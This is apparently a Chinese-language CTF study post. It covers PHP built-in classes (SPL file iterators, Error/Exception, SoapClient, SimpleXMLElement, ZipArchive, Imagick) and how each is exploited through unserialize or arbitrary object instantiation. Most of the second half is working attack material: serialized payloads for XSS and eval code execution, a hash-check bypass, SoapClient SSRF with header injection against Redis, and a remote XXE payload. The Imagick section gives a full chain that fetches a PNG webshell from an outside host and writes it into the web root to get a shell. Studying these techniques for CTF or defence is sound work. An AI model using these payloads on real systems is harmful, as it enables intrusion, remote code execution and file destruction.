SPL SPL是Standard PHP Library
的缩写,是用于解决典型问题(standard problems)
的一组接口与类的集合
一些处理文件的SPL类
遍历目录的类
FilesystemIterator The Filesystem iterator
1 2 3 4 5 6 <?php $iterator = new FilesystemIterator (__DIR__ , FilesystemIterator ::CURRENT_AS_PATHNAME); foreach ($iterator as $fileinfo) { echo $iterator->current() . "\n" ; } ?>
DirectoryIterator 继承自FileSystemIterator
1 2 3 4 5 6 <?php $dir = new DirectoryIterator (dirname(__FILE__ )); foreach ($dir as $fileinfo) { echo $fileinfo; } ?>
GlobIterator 遍历一个文件系统行为类似于 glob() .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $iterator = new GlobIterator ('*.dll' , FilesystemIterator ::KEY_AS_FILENAME); if (!$iterator->count()) { echo 'No matches' ; } else { $n = 0 ; printf("Matched %d item(s)\r\n" , $iterator->count()); foreach ($iterator as $item) { printf("[%d] %s\r\n" , ++$n, $iterator->key()); } }
glob语法
通配符
描述
例子
匹配
不匹配
*
匹配任意数量的任何字符,包括无
Law*
Law
, Laws
, Lawyer
GrokLaw
, La
, aw
?
匹配任何 单个 字符
?at
Cat
, cat
, Bat
, bat
at
[abc]
匹配括号中给出的一个字符
[CB]at
Cat
, Bat
cat
, bat
[a-z]
匹配括号中给出的范围中的一个字符
Letter[0-9]
Letter0
, Letter1
… Letter9
Letters
, Letter
, Letter10
[!abc]
匹配括号中未给出的一个字符
[!C]at
Bat
, bat
, cat
Cat
[!a-z]
匹配不在括号内给定范围内的一个字符
Letter[!3-5]
Letter1
…
Letter3
… Letter5
, Letterxx
操作文件的类 SplFileObejct 1 2 3 4 $file = new SplFileObejct('/etc/passwd' ) while (!$file->eof()){ echo $file->fgets(); }
echo $file
也可以,在这里__toString()
是fgets()
的别名
finfo类 finfo类用于返回一个资源的信息
1 2 3 4 5 6 7 8 <?php $finfo = finfo_open(FILEINFO_EXTENSION); foreach (glob("*" ) as $filename){ echo finfo_file($finfo,$filename)."\n" ; } finfo_close($finfo);
finfo_open用到的常量列表https://www.php.net/manual/zh/fileinfo.constants.php
Error&Exception Error Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Error implements Throwable { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
类方法:
1 2 <?php $a = new Error ('123456' );echo $a;
这里的错误行数1跟new Error()
的行数有关
Exception Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Exception { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
类方法:
1 2 <?php $a = new Exception ('123456' );echo $a;
这里的行数跟创建Exception
的行数有关
1 2 3 4 5 <?php $a = new Error ("payload" ,1 );$b = new Error ("payload" ,2 ); echo $a;echo "\r\n\r\n" ;echo $b;
输出如下
利用方式 可以Error和Exception来造成XSS、代码执行或者绕过Hash检验
XSS index.php
1 2 <?php echo unserialize($_GET['cmd' ]);
exp
1 2 $a = new Error ('<script>alert("xss");</script>' ); echo urlencode(serialize($a));
代码执行 index.php
1 2 3 4 <?php $a = unserialize($_GET['cmd' ]); var_dump($a); eval ($a);
exp
1 2 3 4 php > $a = new Error ('?><?=phpinfo();?>' ); php > echo urlencode(serialize($a)); O%3 A5%3 A%22 Error %22 %3 A7%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A17%3 A%22 %3 F%3 E%3 C%3 F%3 Dphpinfo%28 %29 %3 B%3 F%3 E%22 %3 Bs%3 A13%3 A%22 %00 Error %00 string %22 %3 Bs%3 A0%3 A%22 %22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A0%3 Bs%3 A7%3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A14%3 A%22 php+shell+code%22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A1%3 Bs%3 A12%3 A%22 %00 Error %00 trace%22 %3 Ba%3 A0%3 A%7 B%7 Ds%3 A15%3 A%22 %00 Error %00 previous%22 %3 BN%3 B%7 D
绕过hash值校验 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class SYCLOVER { public $syc; public $lover; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5($this ->syc) === md5($this ->lover)) && (sha1($this ->syc)=== sha1($this ->lover)) ){ if (!preg_match("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match)){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET['great' ])){ unserialize($_GET['great' ]); } else { highlight_file(__FILE__ ); } ?>
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 $str = "?><?=include~" .urldecode("%D0%99%93%9E%98" )."?>" ;
md5和sha1会调用__toString
产生相同错误信息绕过,eval也会调用__toString
由于错误信息有脏字符,需要?>
闭合
使用include
+取反的方式绕过()
括号过滤,payload为include~'/flag'
和include~['/flag'][false]
SoapClient PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
SSRF 利用SoapClient调用__call
方法时会发出HTTP/HTTPS请求造成SSRF
1 2 3 4 5 6 <?php $a = new SoapClient(null ,array ('uri' =>'http://vps:5555' , 'location' =>'http://vps:5555/aaa' )); $b = serialize($a); echo $b;$c = unserialize($b); $c->a();
打redis
1 2 3 4 5 6 7 8 9 10 11 <?php $target = "http://example.com:5555/" ; $post_string = 'data=abc' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null ,array ('location' => $target,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers).'^^Content-Length: ' . (string )strlen($post_string).'^^^^' .$post_string,'uri' =>'hello' )); $aaa = serialize($b); $aaa = str_replace('^^' ,"\n\r" ,$aaa); echo urlencode($aaa);
SimpleXMLElement SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
可以看到通过设置第三个参数 data_is_url 为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
payload
1 SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true
ZipArchive 类 PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。
例题:梦里花开牡丹亭
Imagick类 参考链接:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
php手册介绍:https://www.php.net/manual/zh/imagick.installation.php
Imagick是php中用于图像处理的拓展类,不是php自带的,需要手动安装
1 2 3 4 5 6 7 8 9 10 11 apt-get install php7.4-imagick php -m | grep imagick service apache2 restart 或 pecl.php.net/package/imagick/download#下载压缩包 tar -zxvf xxx.tagz cd imagick-2.2.3 phpize ./configure --with-imagick=/opt/local make make install
主要用于以下情景的利用
1 2 3 4 5 <?php $a = $_GET['a' ]; $b = $_GET['b' ]; new $a($b);?>
缺少echo,仅仅new一个对象的情况
简单SSRF 在Imagick的构造方法中,将files的路径作为参数传入,实际上如果file使用的是http协议,在构造方法调用时php会自动请求该资源
请求包
1 2 3 4 5 6 7 8 9 10 GET /object.php?a=Imagick&b=http://172.17.0.1:8888/test HTTP/1.1 Host: 192.168.119.164:8989 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
在服务器上接收到请求
出网RCE 生成图片马
1 2 3 #安装命令 apt-get install graphicsmagick-imagemagick-compat convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png
请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /object.php?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1 Host: 192.168.119.164:8989 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeBymiZfQE9hubMlU Content-Length: 322 ------WebKitFormBoundaryeBymiZfQE9hubMlU Content-Disposition: form-data; name="exec[]"; filename="exec.msl" <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://172.17.0.1:8888/positive.png" /> <write filename="/var/www/html/positive2.php" /> </image> ------WebKitFormBoundaryeBymiZfQE9hubMlU--
vps上捕获到请求
此时查看tmp目录和write的目录,都存在文件
访问positive2.php成功getshell